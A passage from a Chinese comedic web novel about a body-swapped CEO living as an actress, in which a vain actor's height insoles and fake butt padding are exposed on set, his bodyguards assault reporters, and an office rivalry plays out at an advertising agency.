他默默记下了制造商的名字,对刚刚的盘头大姨油然生出一股敬意。 在裴砚知醉心工作的同时,沈颐终于也注意到了这边的动静。 他坐在板凳上,穿鞋仿佛穿了一个世纪,好不容易把鞋垫子都摆正了,便踩着高跷气势汹汹地走了过来。 沉重的脚步声盘旋在空中,搭配上沈颐比钢板还硬挺的身躯和大摇大摆的姿势,看上去那叫一个地动山摇,比哥斯拉还哥斯拉。 连裴砚知都被那声音扰得分了神,抬眼看向噪音的源头,眼神不由得一颤。 只一眼,他便顿悟了。 原来乔缨的男人,是照着沈颐演的。 然而她都那样了,甚至还不及原版十分之一的油腻。 难怪乔缨有精神病呢, 要是有这么个玩意儿整天在面前晃悠,周围的人还都觉得自己对他情根深种,换他,他也疯。 与此同时,护妻心切的沈颐也陷入了纠结之中。 他是个文人,为了绵绵也怒了。 虽然他连发生了什么都不知道,但不妨碍他愤怒。 不过经过再三思考后,他发现自己得罪不起温烟婷,周瑾又是个爱记仇的疯子。 两人今天本就吵了一架,要是再爆发矛盾,指不定待会儿参加节目时,她就会给自己的水杯里下泻药。 都说柿子要找软的捏,视线扫了一圈,看来只有拿乔缨开刀了。 沈颐迈着艰难的步伐,下颌骨绷得邦邦紧,定定站在现场唯一一个没有说过话的裴砚知面前。 正要发难的时候,裴砚知却若有所思地看着他的头顶,冷不丁开口道:“沈颐,你多高啊?” 沈颐一时间没反应过来,下意识吼出声:“穿、穿鞋一米八!” 裴砚知的视线转向他那双忍辱负重的高弹袜,眼神探究,好奇追问:“那不穿鞋呢?” “净身高……净身高不到两米!” 沈颐及时刹住了嘴,迅速调整好心态,沉下脸呵斥:“乔缨!你又在欺负绵绵!今天是在电视台,公众场合!你都不知道收敛点吗?” 裴砚知将视线从他的脚上移开,又定在了某处不可描述的部位,似笑非笑道:“管好你自己吧,沈颐,你的屁股都裂成四瓣了。” 众人定睛一看,才发现沈颐的屁股下 方忽然鼓起来了两个大包。 一众正呲着大牙偷乐的工作人员脸色顿时凝重起来,严肃问道:“沈老师,这可能是你刚才摔跤导致的,我们送您去医院做个CT检查一下骨头吧。” 沈颐跟川剧变脸似的,脸上青一阵白一阵,最终停留在了黑脸的张飞叫喳喳上,一脸便秘样,道:“不、不用了……小问题,不碍事。” 周瑾的脸憋笑憋成了猪肝色,努力往下压着嘴角,忧心忡忡地说:“这可不行,接下来我们是要录节目的,万一到时候沈老师身体出了什么问题,可就得不偿失了。” 她向现场的工作人员投去视线,询问道:“各位觉得呢?” 大家纷纷点头。 毕竟都是打工的,谁都不想平白无故担负208w的生命安全责任。 要是沈颐真在这里受伤了,赛博父母保不住不说,搞不好还会被粉丝举报丢掉工作。 几个搬运器械的彪形大汉深以为然,见状就想找个担架把沈颐抬走。 大汉那架势像是大过年来猪圈里抬猪的,吓得沈颐面色一白。 他连连后退,左脚不慎踩到了右脚,为了稳住身形不得不向身后的椭圆机倒去。 踏板正好在最底层。 刹那的碰撞,在作用力与反作用力下,增高鞋连带着袜子,一起被蹬掉了。 它们兜着厚厚一摞鞋垫子躺在原地,散落出零星几片。 寿终正寝。 沈颐再度沉默了。 他用僵硬的身体拾起袜子,机械地向着凳子挪动,背影沧桑。 温烟婷用胳膊肘碰了碰裴砚知,“你老公。” 裴砚知皱眉躲开,“你老公。” 周瑾捂着嘴,伸出一只手挽留道:“沈老师,你真不用去医生那里看看吗?” 沈颐好像瞬间苍老了几十岁,忍无可忍回头地大喊一声:“都说了不用了!那他妈是我的假屁股垫!” 万籁俱寂中,只有沈颐的粉丝仍在嘴硬。 【你们都是黑子吧?垫个假屁股怎么你了?你没垫过?这说明沈颐敬业好不好!】 【哪里搞笑了?沈颐这么多年一直是这样好不好,内娱男演员很难的,我是老粉我知道,他为了事业甚至能献出生命,垫个假垫子算什么,他还动过刀子呢!你们真没见识!】 【卧槽你快删了吧!】 始作俑者阮绵绵不知为何又开始哭哭啼啼。 她两眼泛起泪光,对着三人委屈道:“你……你们太过分了……沈颐哥哥的屁股都摔成了四瓣,你们居然还要嘲笑他!就这么想引起他的注意吗?” 说的什么东西,疯了不成。 裴砚知最讨厌听这种哼哼唧唧的声音,神色不耐,转身走了出去。 莫名消失的谢燃突然再度出现,拦住裴砚知,非要给他听自己的新歌。 裴砚知疑惑:“为什么找我?” 为了把妹。 紧急找工作室要了一份样曲的谢燃脸不红心不跳地看着他,咧嘴笑笑。 身为爱豆,他不负众望地交往过五十几任女朋友,还有着不计其数的暧昧对象。 从过往的经验来看,像乔缨这种漂亮聪明又自诩叛逆的女人,都觉得自己是朵危险迷人的黑罂粟,遗世独立就等待着男人来理解她的脆弱与孤独。 所以谢燃按照套路,张嘴就来:“我觉得你很特别,你和我认识的女生都不一样,你给我一种疏离感,所以你的品味一定很好。” 乔缨会不会上套不知道,反正裴砚知是上套了,心头骤然一动。 这辈子第一次有人肯定了他的音乐品味。 如果爱听大悲咒也算是一种音乐品味的话。 在谢燃殷切的眼神里,心情颇好的裴砚知打开音频听了两秒——— 然后波澜不惊地点了退出,动作快得像2006年春晚小品里赵本山拿放耳机。 只能说,这是很热闹的一首歌。 有牛有羊有驴有唢呐,有哭有嚎有笑有尖叫。 真是一场酣畅淋漓的音乐盛宴。 他这一生作恶多端,听完这一曲也算一笔勾销。 “Back to 我的 demo!” 见他退出播放,谢燃急切道:“你能get到里面的feel了吗?” “还行,可以接受,你唱歌没你说话难听。” 裴砚知面无表情,“扁桃体是被卤过吗?” “什么意思?” 谢燃听不懂,逐渐暴躁起来:“让你听歌你就听歌,关扁桃体什么事?喂,我看你这个女的根本就不懂吧?还扁桃体,谁是扁桃体?他也唱rap吗?” 没救了。 裴砚知闭了闭眼睛,轻蔑吐出两个字:“白痴。” 足够直白的辱骂,让谢燃感觉有被侮辱到,额上青筋暴起。 他想像往常一样,对质疑他的人一拳抡过去,心里却涌现出一股异样的情绪。 心跳加速,神经震颤,谢燃瞪大眼睛,发丝覆在他脸上,看不清表情。 半晌后,他骤然抬头,一个滑铲跪到裴砚知跟前,低三下四恳求道:“……你能不能,再骂我一句?” 裴砚知:…… 好消息,谢燃这下听懂了。 坏消息,谢燃被他骂爽了。 受不了了,你们娱乐圈真的变态。 裴砚知刚想张嘴骂人,又怕奖励到谢燃,思索再三,淡淡开口:“别做音乐了,你去踢国足吧。” 谢燃愣了一下,眼里的光顿时熄灭了,黯然神伤,垂眸低喃:“你好伤人。” 在他愣神的间隙,刚和节目组沟通好后续工作的陈意芝走了过来。 她三步并两步,将裴砚知拉进保姆车里,仔仔细细打量他几圈,眼神狐疑。 在裴砚知冷静的目光下,她抱臂冷哼一声,毫无预兆地扔出一颗巨雷,言之凿凿。 “你根本不是乔缨,说吧,你到底是谁?” 第28章 第二十八章 不在她的择偶范围内 “你到底是谁?” 面对陈意芝的诘问, 裴砚知仍旧保持着镇定。 他露出一个恰到好处的疑问眼神,回答道:“为什么这么说?我今天有什么问题吗?” 说完他细细回忆了一下,除了骂人的次数比较多以外, 倒也没什么反常的行为。 难道是他判断错误,乔缨平时其实很有素质来着? 陈意芝觑起眼睛, 凝眸看了他两秒,忽然一巴掌拍向裴砚知的肩膀, 缓缓绽开一个微笑。 “你干得好啊!” 裴砚知:“?” “节目组本来想让你和谢燃来衬托方岩和温烟婷的, 没想到你一个人把戏份全都抢了过来。” 陈意芝十分欣慰,说:“不仅打脸了装逼犯,说的东西也很专业,难怪你不让事先写稿子,看来是早有准备啊, 不错不错。” “原来乔……我和谢燃是一个档次的吗?” 裴砚知难以置信, 连和乔缨互换身体时都没像现在这么让他震惊,甚至还有一丝耻辱。 陈意芝见他这样, 意味深长地叹了口气。 在很大一部分人的眼里,漂亮的女人都没大脑, 只懂爱美和傻笑, 更不必说娱乐圈的漂亮女人。 虽然这圈子里的人确实一言难尽,但乔缨吧, 她属于第二种情况。 “你知道的,以你的学历, 在娱乐圈这种遍地文盲的行业, 不说横着走,但至少也胜过百分之九十九的人,能发一辈子的通稿吹。” 回忆往事, 陈意芝的语气很是幽怨。 “以前工作室也想按照学霸人设的路子给你营销,但你吧,非不让!非说这样会让高考三百分的沈颐感到自卑!还说沈颐就喜欢智商不高的傻白甜,每次你俩一同框,你就把自己把往傻了演,久而久之,大家自然会觉得你和谢燃是一个档次的白痴。” 裴砚知一时语塞,没想到乔缨为了那桩该死的婚约居然牺牲这么大。 他捏捏眉心,表情凝重地说:“……以后不会了。” “哎呀,我都猜到了。” 陈意芝摆摆手,“我一开始以为你是精神分 裂,要不然为啥人前对沈颐那么好,人后又骂他赶紧去死。后来仔细想了想,感觉你应该都是装的,今天总算是知道了原因。” 其实她和乔缨很早之前就认识了。 当时乔缨刚进圈没几年,在剧组里客串了幼年时期的女主角,而陈意芝则是男一号的助理。 后来十几年过去,乔缨因专注学业在娱乐圈销声匿迹,她也从小助理混成了大经纪人。 当年的男一号更是从籍籍无名摇身一变成了顶流,一时间风光无两。 一般这个时候,不出意外地要出意外了。 男一号被人举报偷税漏税,而且因为私生活混乱,各种黑料满天飞,上市在即的公司急需一个背黑锅的人。 于是,和男一号一番商量后,公司决定将毫无背景的陈意芝开除,又怕她蓄意报复,将她在业内软封杀,四处碰壁。 正在陈意芝走投无路之时,乔缨找了上来,让她当自己的经纪人,还说会帮自己报仇。 起初她是不信的,一个大学刚毕业的小丫头片子,在娱乐圈这种腌臜地能翻出什么花来。 然而事实是,仅仅一周之后,她就看到了男一号因为嫖/娼被抓的蓝底白字公告。 前公司的资金也莫名被法院冻结查封,上市计划一拖再拖,后来被沈氏旗下的娱乐公司低价收购了。 相识多年,陈意芝知道乔缨的家庭情况挺复杂,本人防备心也很重,不爱向工作室的人透露这些事情。 要不是刚才周瑾的直播,她还不知道乔缨和沈颐还有这一层关系。 她打开平板,给裴砚知看了看各大社交平台的热搜。 方才的片段已经大范围地传播开来,营销号和各种KOL为了热度都紧急写了稿做了视频,开始逐帧分析这场空前绝后的直播。 “还有刚刚那事儿,你不掺合周瑾和温烟婷是对的,本来和你也没关系。” 陈意芝找出几人爆发冲突的那一段,配合着画面,头头是道地给他分析。 “怎么说呢,虽然是阮绵绵自找的,她被骂也属实大快人心,可一旦观众们上头的情绪开始冷却,配合上理中客水军,难免会被阮绵绵扣上个霸凌的帽子。” 普通人这样做没问题,甚至还非常解气,但聚光灯下的明星,一举一动都得被放大审判。 像这种场合,只要和自己无关,能不掺合就不掺合。 裴砚知一边听着公关课,一边在手机上打着字,心不在焉地问了句:“刚刚自曝和沈颐有婚约,这对我有影响吗?” “当然有影响,这些年他和阮绵绵给你扣的屎盆子,都能趁机翻着倍的扣回去,咱们这把,妥妥的顺风局。” 陈意芝志在必得地拍拍胸脯,越发觉得乔缨是个当反派的好料子。 她居然连算计人都是提前拟好了五年计划,早早立起了深情舔狗的人设,前期表现得越是夸张,后续对沈颐的反噬越大。 占据了道德高地,网友也不是傻子,舆论自会偏向更无辜的一方。 想到这里,陈意芝忽然一个激灵,试探问:“对了,节目里和你打电话那人……就是裴砚知吗?” 裴砚知身体一僵,沉默地蜷缩了一下手指。 怎么办,他不是很想承认自己就是那个中二病。 “没看出来,裴总私下居然是这种风格,难怪会选你当代言人,你俩应该挺合得来吧?居然还答应咱们炒作绯闻。” 陈意芝没管他奇怪的反应,自顾自竖起大拇指,称赞道:“裴总这朋友,能处。” 此前,她仅仅是在签合同时和裴砚知见过一面,只觉得对方老是绷着个脸,态度有种故意而为之的生疏。 现在看来,或许是在压制体内的黑暗之力,中二病犯了吧。 听到这话,裴砚知抬眼,不咸不淡地问了一句:“你就不怕我和他假戏真做?” “那哪儿能啊。” 陈意芝想也不想,迅速说道:“我知道,你不会喜欢这一款的。” 她否认得太过干脆,裴砚知顿了顿,忍不住问道:“为什么?” 陈意芝以为他只是随口一说,凭借着自己对乔缨的了解,语气笃定地陈述: “你喜欢的,是温柔顾家的老实人夫型,但裴砚知那长相,那气质,那天龙人背景……一眼霸道总裁,矜贵得很,这辈子都不可能为谁洗手作羹汤,他根本不在你的择偶范围内。” 怎么不可能。 裴砚知张嘴想反驳,却又无从说起。 作为一个从小锦衣玉食的豪门少爷,他的确不会做饭。 况且本科是在国内读的,一毕业就成了老板,连出国当留子培养厨艺的机会都没有。 不行,不能输。 想到乔缨家里空荡荡的厨房,他当即打开购物软件,现场下单了一大堆锅碗瓢盆。 烤箱微波炉空气炸锅样样俱全,还顺带买了几本菜谱。 做完这些,他才放下手机,和陈意芝商议正事:“昭星的广告,我决定让微光传媒再试一次。” “你不是说微光那方案做得稀烂吗?”陈意芝诧异道。 “让他们换个人,我已经有人选了。” 秦铮刚刚发了个作品集,裴砚知翻阅一遍,觉得还挺符合量闻的调性。 不知道为什么微光传媒不派秦铮来当项目负责人,反而选了那个许声蕴,做的东西也敷衍得入不了眼。 这种破公司,呆着也没前途,要是这次的广告能大获成功,他倒是很愿意把秦铮挖到昭星来。 陈意芝见他表情认真,点头答应:“行,那我去和昭星那边沟通一下。” “好。” 裴砚知简短应了一句,估算着时间,掐点拿起了手机。 果不其然,下一秒,屏幕上便亮起了消息弹窗。 乔缨发来一张账单截图,半是开玩笑,半是好奇地问: 【磷脂分子:花这么多钱买炊具,你中彩票了啊?】 裴砚知唇角微微扬起,让司机发动车子。 他恰好错过了娱记们挤挤挨挨,簇拥着沈颐走出电视台大门的场景。 不过沈颐那三排保镖也没算白带,很快拉成了人墙,三两下便把最里层的人掀翻在地。 虽然现场没有想象中的狂热粉丝,但有想象外的狂热狗仔。 这些保镖殴打攻击粉丝也不是一次两次了,当时沈颐都没说什么,现在推几个八卦记者,沈颐就更不会在乎了。 抱着这种心态,保镖的动作愈发大胆,见到摄像头便卯足了力气往地上砸。 娱记的表情越愤怒,他们好像就越兴奋,布满横肉的脸上浮现出激动的红晕。 现场一片狼藉,咒骂声一句连着一句,沈颐却充耳不闻,只觉得这群挡着路的狗仔烦人又碍眼。 他示意保镖砸镜头的动作快点,推人的时候再加大力度,浑然不觉这一系列的举动,都被挤到前排的人看了去。 知道这些,狗仔们更加愤怒了。 有不少人的设备光是镜头就值几十万,是他们赖以生存的饭碗,可沈颐团队的人却说砸就砸,还丝毫没有赔偿的意思。 这不明摆着欺负人吗? 端着明星架子,真把自己当皇帝了? 有好事的人干脆打开了直播留存证据,然后把自拍杆怼到沈颐脸上拍。 那人对着镜头,阴阳怪气地高声喊叫: “看看啊,这就是现在大明星的素质!随意殴打普通群众,损坏他人财物,太嚣张了!这种人配当演员吗?你一天的工资几百万,却还要来砸我们小老百姓的饭碗,你有良心吗?” 好巧不巧,一群人刚好路过,见到这里闹哄哄的,其中一位男士便自告奋勇地前来劝阻。 谁成想他刚一走进,就被保镖几个肘击推倒到地面上,玻璃碎片深深扎进了手掌,血流不止。 沈颐皱眉看了他一眼,暗暗骂了一句“晦气”。 此时的他还不知道,这场堪称灾难的公关事件,将在今天得罪一整个行业的人。 直播间的网友很快就扒出了受伤的人是得过表彰的道德模范,今天本是来 电视台参加颁奖典礼,却被沈颐的保镖弄伤了手掌。 一时间,对沈颐的谴责声愈演愈烈。 又因为他此前得罪过的媒体太多,事件迅速发酵,逐渐超出控制。 嚣张跋扈的明星与踏实善良的民众对比太过鲜明,沈颐顿时成了众矢之的。 那句“晦气”更是被刻上了耻辱柱,在无数年后,仍被人拿来当作又蠢又坏的明星的典例。 远处有警笛声响起,左手手腕不知被谁猛地一扯,沈颐不满转头,发现是李群挤了进来,将他拉出了人群。 还没意识到发生了什么事的沈颐,怒气冲冲地甩开他的手,吼叫道:“你干嘛!” 妈的,一个小小的经纪人还敢骑在他头上作威作福?! 李群一个头有两个大,崩溃大喊:“大哥,再不跑你等着进局子吗?网上骂你骂得正起劲,要你退出生物圈了都!” 沈颐狠狠皱眉,不耐烦道:“进局子?退圈?我不就是让保镖推了几个人砸了几个镜头吗?至于这样?现在的乌合之众真可怕。” 李群觉得自己上辈子一定是造了什么孽,才摊上沈颐这么个狗东西。 他忍无可忍地扇了沈颐一巴掌,咒骂声里带着浓重绝望,嚎叫道: “闭嘴吧!都怪你这个傻逼,咱俩的职业生涯,今天算是完了!” 第29章 第二十九章 每天两眼一睁就是雌竞…… 工作日的早晨总是令人昏昏沉沉。 许声蕴刚到工位, 就看见几个同事聚在茶水间里,热火朝天地说起这几天的惊天八卦。 “笑死,沈颐和阮绵绵的瓜无穷无尽得像是拼多多帮忙砍一刀。” “可不是嘛, 这俩人也是王八看绿豆,什么锅配什么盖, 好一对璧人。” “唉,不知道绵绵怎么想的, 本来我之前对她还有些好感, 谁知道她整这一出,简直是花粉地狱。” 骤然间听到了好闺蜜的名字,许声蕴脸色一沉,端起水杯走到茶水间门口,表情不屑地睨着面前几人。 她从鼻子里哼出一声, 高傲道:“我就不喜欢嚼舌根说这些八卦, 可能和我的家教有关吧。” 声音在狭小的空间里回荡着,这话说得无比突兀, 气氛顿时冷了下来。 许声蕴说完故意站在原地,昂着头想和几人对视。 她保持着一副绝不与其同流合污的清高姿态, 自诩正义的嘴脸看得人莫名其妙。 突然被打断的同事只停顿了两秒, 偏头瞅了她一眼,然后侧过身继续接着刚才的话题聊, 直接忽视了她的存在,根本就不打算搭理这人。 被当作空气晾了半晌的许声蕴差点把牙咬碎, 憋着一肚子的火, 灰溜溜地回了工位上。 见她吃瘪,茶水间里有人低低笑了几声。 有一说一,其实许声蕴在微光传媒可以说是鼎鼎有名。 外貌出众是一方面, 但更主要的原因,是她这人脑子有点大病,对不同性别有着极致的双标。 简而言之,许声蕴总是不惮以最坏的恶意来揣测女性。 不仅张嘴闭嘴就是“同性相斥”,还总爱说什么“女人看见漂亮同性就会产生莫名的敌意”,每天两眼一睁就是雌竞。 虽然不知道这些个结论从何而来、有无依据,反正在许声蕴的世界里,好像每个女人都在嫉妒她、陷害她。 一天天整得跟个自恋型人格障碍叠加被害妄想症似的,精神状态急需被收进宛平南路600号治一治。 如果只是在日常生活里发发疯也就罢了,一旦把这种心理放在职场上,就会更加要命。 许声蕴似乎笃定了嫉妒她的女人们不会给予她任何工作上的帮衬和照顾,甚至还会栽赃陷害自己,所以平时仿佛对女性过敏一样能避则避,和公司里的女同事都不怎么亲近。 而与之相对应的,则是她对男性的善意充满了不切实际的幻想。 譬如许声蕴刚一进公司群,女同事先一概不理,就只把群里的男人加了个遍。 群发消息嘘寒问暖,说自己初来乍到多多关照,送点小礼物以表心意,要是业余活动缺人她随叫随到,有时间还可以一起去city walk…… 总而言之,那叫一个活力四射热情洋溢。 或许是清楚自身优势所在,许声蕴以为这样就能快速融入圈子吃到性别红利,更以为那群男人真就色令智昏到主动给她喂资源拉业务。 她正美滋滋做着职场妲己的白日梦,却没想到自己发的那些话,第二天就被好几个男同事截图发在了兄弟群里,大肆调侃。 他们笑她连倒贴的话术都一模一样,居然一个字都不带改,好一番贬低奚落,话里话外都是瞧不起。 而更令人啼笑皆非的是,有男同事带着炫耀的目的,故意将这件事抖落了出来。 然后一传十,十传百,不出半天,整个公司都知道了此人的骚操作。 其中还有一位不愿透露姓名的校友激情爆料,声称许声蕴这病,得了还不止一天两天了。 她当初因为觉得女生不会给她内推,毕业时也只留了男生的号码,让各路学姐学妹和同级女生大为震撼。 经此一役,许声蕴一夜成名,连不少非广告圈的人都知道了她的事迹。 她和秦铮的梁子,也正是在那时结下的。 本着对新同事的关怀和照顾,以及维持自己八面玲珑的人设,秦铮端着咖啡去找许声蕴谈心,想安慰安慰她。 可没想到许声蕴居然是个伪装成正常人的三级智障,不仅倒打一耙,怀疑她这样做是心虚了来道歉,还使绊子从她手里抢走了昭星的项目,恩将仇报。 从那之后,公司里的女同事几乎见到许声蕴就绕着走,生怕一个不注意,就被她卷进什么麻烦的事情里。 所以这便是刚才茶水间那几人对她态度冷淡的原因。 不远处的办公室门口,一行人有说有笑地走了进来。 为首的秦铮给身后的两名实习生一人递了盒牛奶,一转头,却和怨气冲天的许声蕴打了个照面,脸上的笑容瞬间垮了下来。 按理说,知道自己拿了恶毒女配的剧本,她本该抱紧主角大腿不再作死,或者远离剧情老实苟命。 可哪怕对方有主角光环护体,秦铮也没办法昧着良心给许声蕴好脸色。 作为这本傻叉小说里为数不多在正儿八经搞事业的人,她一贯的态度就是——— 抢男人无所谓,抢我工作项目?死! 所以秦铮跟没看到似的,直接略过了许声蕴,径直走到茶水间里,和几个同事说说笑笑地打着招呼。 许声蕴默不作声地看着她们,内心冷笑。 要知道,在她这二十几年的生命里,每一天都有不同的人在夸她漂亮,哪怕是路过的蚂蚁都会忍不住感叹一句她的美丽,并为此神魂颠倒。 她发自内心地认为,不仅男人见到她就走不动道,甚至外星人看了她都会不忍心侵略地球改做舔狗。 这些和秦铮抱团的人,不就是嫉妒她的美貌才对她处处提防,害怕自己的男朋友被抢走吗? 啊,我是卿! 见她脸色几经变化,一旁的实习生小张只能讨好地把手里的牛奶递给她,殷勤道:“声蕴姐,喝点牛奶垫垫肚子吧,这个牌子很好喝的。” 许声蕴将她递牛奶的手一挡,拒绝的意味很明显。 小张叫苦不迭。 刚被分配到许声蕴这一组时,她就发现许声蕴和秦铮不太对付,偏偏秦铮人缘极好,左右逢源,哪儿哪儿都是她的身影。 因为迫切地想留在公司,小张需要去同事面前刷刷存在感,又怕经常和秦铮碰面惹得许声蕴误会,每天上班跟做贼似的,身心俱疲。 和她比起来,同期另一个在秦铮手底下实习的女孩就幸运很多。 秦铮不仅手把手带着她做项目,还时常将她介绍给各位前辈,到现在为止,大半个公司都混了个脸熟。 所以,小张现在只能隐秘地朝氛围和谐 的茶水间里投去一个羡慕的眼神。 另一个实习生抱着资料凑了过来,和她小声吐槽道:“秦铮姐人气也太高了,我都插不进去话,不过她今天打扮得真好看。” 一旁的许声蕴也捕捉到了关键词,隔着茶水间的玻璃向秦铮扫了一眼,不屑地撇撇嘴角。 也没多好看。 不过也就是看上去得体大方些罢了。 姿色平庸,再怎么打扮都比不上自己漂亮,白费力气。 她撤回视线,从鼻子里冷哧一声,嘲笑道:“秦铮一大早就开始拉帮结派,这足以证明她品行低劣,她的这些谋划,就算告诉我们,我们也是学不来的。” 谁跟你是我们。 蜥蜴人吗? 小张忍住了翻白眼的冲动,一阵无语。 待秦铮泡好咖啡走到桌前,时针刚好指向九点。 她打开电脑开始处理今天的工作,刚翻开日程表,一个同事忽然走了进来,敲了敲办公室的门。 那人说:“秦铮姐,声蕴姐,姚总监让你们去一下办公室。” “好的,马上来。”秦铮即刻答道。 一大早就被叫去,她猜测姚听霖大概是有什么要紧事,给电脑锁好屏后便直接走了出去。 在总监办公室里等了十分钟,许声蕴才姗姗来迟,给姚听霖低声道了句抱歉后匆匆落座。 “我就长话短说了,”姚听霖不咸不淡地开口,“昭星那边想再给我们一次机会,最好今天就能交个方案出去。” “真的吗?” 许声蕴骤然抬头,眼里燃起希冀。 “但他们要求换个负责人。” 姚听霖看着她瞬间黯淡下的眼睛,微妙地叹了口气,转头对秦铮说道:“乔缨那边指名道姓让你来,你觉得自己能胜任吗?” “当然能。” 秦铮点头,暗自捏了捏手指,觉得有些好笑。 像昭星这样的大项目,原本就定好了交给能力最强的人来做。 谁知她策划案都快写了一半,姚听霖却突然反悔,临时改口说让许声蕴来负责,硬生生从自己手里抢走了业务。 突然遭遇剧情杀,秦铮此前所有的努力全都白费,心血付诸东流,直接给她气觉醒了。 原著中,此时的许声蕴因为工作刚刚认识了瑞思创投的傅司宴,而姚听霖和傅司宴的叔叔则是旧相识。 几人在私下里聚餐时,只因为傅司宴提了一嘴许声蕴的大名,说她业务能力不错,姚听霖就十分上道地决定卖他一个人情,将昭星的项目转手送了出去。 后来许声蕴靠着傅司宴的关系拿到好几个顶级资源,在他的庇护下结识了各种业界大佬,所有甲方看在傅司宴的面子上都对她留有三分薄面,一而再再而三地抢走秦铮的工作机会…… 对女主来说是爽文,可对配角来说,这简直是恐怖故事。 想想看,职场关系户一路凭借着潜规则上位,废物一个却手握大把资源,偏偏得了便宜还卖乖。 一边对着有钱的男人们嬉皮笑脸、欺下媚上,一边还非要高姿态地来教育你几句,说你心思歹毒不上进,难怪升不了职加不了薪。 想不想一巴掌扇上去? 反正秦铮是挺想的,踏踏实实靠自己的炮灰没惹任何人。 还好在精神病院的时候,她特意给乔缨留了张名片,主动发了作品集,才争取到这次机会。 姚听霖不知道秦铮什么时候和乔缨搭上了线,收起了往日的轻慢态度,温声问:“昭星那边催得急,你大概什么时候能交过去?” 秦铮简短答道:“现在。” 她从不打没准备的仗,自打送出名片的那天起,就一直在完善方案,连预算明细都仔细核对过几遍。 姚听霖一怔,随即赞扬地点点头,让她抓紧时间去工作。 情绪低落的许声蕴也想顺势溜走,姚听霖敛起笑容,板着脸对她哼道:“你留下来。” “总监,您还有什么事吗?”许声蕴虚弱地笑了笑。 姚听霖长叹一口气,恨铁不成钢地说:“你知道这次和昭星合作的机会有多珍贵吗?我还特意从秦铮手里抢过来送给你,唉……给你机会你不中用啊。” 许声蕴低眉顺眼,声如蚊蚋:“对不起,是我没把握住。” “听说汇报那天你连人家的产品名字都搞错了,不到两分钟就被裴总赶了出来,你到底在想什么?” 姚听霖板着脸教训她:“光顾着谈恋爱去了吗?” 说罢还上下打量一番,愈发看她不顺眼,皱眉严厉道:“还有你这穿的都是些什么?太浮夸了,你是来工作的,不是来走秀的,有空跟秦铮学学吧。” 听到这个名字,许声蕴脸色一白,忍不住为自己辩解: “去昭星汇报的前一天,我在傅司宴家改瑞思创投的方案。您也知道甲方要求多不好伺候,我一条一条对着改,凌晨三四点才改完,所以状态不好,在裴总面前出丑了。” 她越说声音越小,一阵心虚。 实际上,那天她是在酒吧里和傅司宴鬼混,一杯一杯接着喝,凌晨三四点才回家,所以第二天宿醉,被裴砚知闻到了身上的酒气。 提到傅司宴,姚听霖的神情终于缓和了一点。 她丝毫不觉得自己的下属,在非工作时间私自去男性客户家里改方案有何不妥,只是饶有兴趣地问她:“你和他进展怎么样?” 闻言,许声蕴有些得意地翘起唇角,娇羞道:“他跟我求婚了。” 第30章 第三十章 富婆钢丝球 凌晨三点半, 沈颐工作室的灯亮如白昼。 李群坐在会议室里,对着公关组破口大骂:“让你们写个澄清声明,写到现在都没动静!你们就说那几个臭女人嘴里的‘那谁’和沈颐没关系, 再发几封律师函告黑粉不就行了?有那么难吗?” 公关组组长顶着压力,硬着头皮说:“可……大家现在最关心的是颐哥推搡记者的事, 这时候回应效果不大,最好是让他本人发个道歉声明……” 李群转头瞪向助理小吴, 怒道:“沈颐呢?又死哪儿去了?” 吴宇没敢看他的眼睛, 支支吾吾地说:“颐哥说他心情不好,去……去酒吧了。” “你怎么也不拦着点!” 李群将文件夹往他头上一砸,原地冷静了两秒,“算了!平时是谁在管理沈颐的微博账号?让他以沈颐的口吻发一条道歉微博。记住,诚恳!态度一定要诚恳!开头就写‘无意占用公共资源’……” 和这边的兵荒马乱不同, 沈颐瘫坐在会所的包厢里, 和身旁的傅司宴碰了个杯。 这里是傅司宴名下的产业,因为沈颐时常光顾, 两人一来二去就成了朋友,性格很是合得来。 傅司宴见他一脸烦闷的样子, 朝身后打了个响指, 立即有几个穿着清凉的美女上前给二人斟酒。 他推推金丝边眼镜,一只手慢悠悠地摇晃着红酒杯, 语气散漫:“这有什么好烦心的,做人做到这个阶层, 捅再大的篓子都有人替咱们擦屁股。” “怎么说?展开讲讲。”沈颐撩起眼皮笑了笑。 “我前几年不怕死, 差点折腾出牢底坐穿的大事,以为这辈子完了,刚想逃出国避避风头, 我爸找了个大佬来处理,大佬让我回家玩吧,安安心心洗洗睡。” 一谈起这事,傅司宴的内心不自觉浮现出一股优越感,连带着胸膛也挺了起来,微眯着眼睛,沾沾自喜的表情似乎为此很是骄傲。 “你知道吗,我那时候突然天灵盖‘嗡’的一下宛如开悟,忽然明白了一件事———有些你觉得天都要塌下来的东西,在更高一层维度的人看来屁都不算,天地大着呢。” 其中一位斟酒的美女手一顿,很想把手里的酒瓶往沈颐头上砸去。 爹的,你们特权阶级犯完事钻空子脱罪也就算了,整得还挺骄傲。 “哈哈哈,是这个道理不错。” 沈颐开 怀大笑,微微直起身子,点开手机在傅司宴面前晃晃。 “就像我在这里喝酒享乐,这群牛马在公司加班加点替我擦屁股公关,可不就是人各有命嘛。” 他指着那条澄清微博,表情嘲弄。 傅司宴不置可否,在他手机上划拉几下,故作高深道:“喏,而且你还有那么多待播剧和电影压着,哪怕你没有任何动作,自然也有人替你说话。” 沈颐定睛看去,果然看到几个圈内人发文支持自己,怒骂周瑾和乔缨。 至于为什么不骂温烟婷,那当然是因为惹不起,欺软怕硬是这一行的常态。 制片人A发文道: 【两个女艺人在国内最热门的短视频平台上,借着直播的机会,对另一位男演员进行含沙射影的道德指控,引发巨大的网络舆情,这属于明显的社会道德泛化的典型糟糕案例blahblah……】 【这件事表面上是两个女的瞎折腾,更体现出此地的价值取向有多糟糕,放任女人空口白牙对具体的男性进行恶毒指控,这个国家到底怎么了?东亚人的孽根性就是乐于看天才陨落blahblah……】 影评人B发文道: 【一场日常直播,就为了图个嘴快,可能会影响到好几部大体量电影,业内也没有一个应对机制,重点影片跟电影人该如何保护?】 【再说这两位小姐,明明也是艺人,自己人拆自己台,搞得舆论乌烟瘴气,别忘了祸从口出,损人不利己的事,真没必要去干,小心砸自己饭碗。】 还有几位体量不算太大的博主也在替自己讨公道,沈颐心里一阵得意。 他扯开嘴角笑笑,洋洋自得地说:“这个制片人是绵绵的叔叔,当初求着我去参加他的恋综,没办法,我只好答应。这次一定也是绵绵让他出面帮忙,老子爷的人格魅力就是这么大。” “还是阮绵绵省心啊,你勾勾手她就来帮你了。哪像乔缨……唉。” 傅司宴无奈叹气:“当初就是你说乔缨从小缺爱、好骗,我才寻思着把她娶回家交差的。谁成想,我都搬出了奶奶的名号,甚至为了打消戒心,我还说是契约结婚,她依旧不上钩,犟得很。” “她最近是有些不对劲。” 